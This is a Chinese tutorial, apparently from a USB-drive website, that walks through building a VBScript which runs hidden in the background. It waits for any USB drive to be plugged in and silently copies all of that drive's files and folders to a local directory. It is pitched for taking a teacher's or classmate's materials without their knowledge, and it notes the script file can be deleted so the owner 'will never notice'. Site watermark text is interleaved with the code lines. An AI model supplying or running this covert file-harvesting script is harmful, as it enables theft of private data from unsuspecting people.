让U盘自动复制程序
我们经常会遇到特别吝啬的人,不愿意分享他们的学习资料,这点在学习上特别的深有体会,尤其是遇到一些不愿意给PPT的老师。遇到这样的难题,其实只要让我们的U盘在插入后自动复制,便能迅速地搞定这些资料,现在我们就一起来看下操作的步骤吧。
1、建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样。
2、把下面的代码复制进去
set fso=createobject("scripting.filesystemobject") U盘之家
set ws=createobject("wscript.shell") www.upan.cc
on error resume next
do U盘之家
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then www.upan.cc
fso.copyfile "U盘的盘符加*号","要复制到的目录" U盘之家
fso.copyfolder "U盘的盘符加*号","要复制到的目录" www.upan.cc
wscript.sleep 20000
end if 优盘之家
loop 优盘之家
注意标颜色的地方要自己改 U盘之家
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。 U盘之家
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*, U盘之家
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。 U盘之家
注意和第一个的区别 U盘之家
3、复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。 U盘之家
4、后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了
5、要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。 U盘之家
更新:
现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可 U盘之家
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell") 优盘之家
dim USB, file, folder, files
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F") www.upan.cc
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL") U盘之家
USB=USB & ":\" 优盘之家
folder=folder & "\" U盘之家
if files="ALL"then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.FolderExists(folder) then www.upan.cc
else U盘之家
FSO.CreateFolder(folder) www.upan.cc
end if
on error resume next
do www.upan.cc
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder www.upan.cc
fso.copyfolder file,folder
wscript.sleep 20000 www.upan.cc
end if
loop 优盘之家
红色部分全部复制到一个文本文件,然后保存,后缀改成.VBS即可。好了,通过以上的设置之后,我们便能让我们的U盘在插入电脑后实现自动复制了,相信本文的教程将是业内界的好东西,但是切记不能作为不法用途哦。
让U盘自动复制程序:https://www.upan.cc/technology/use/7583.html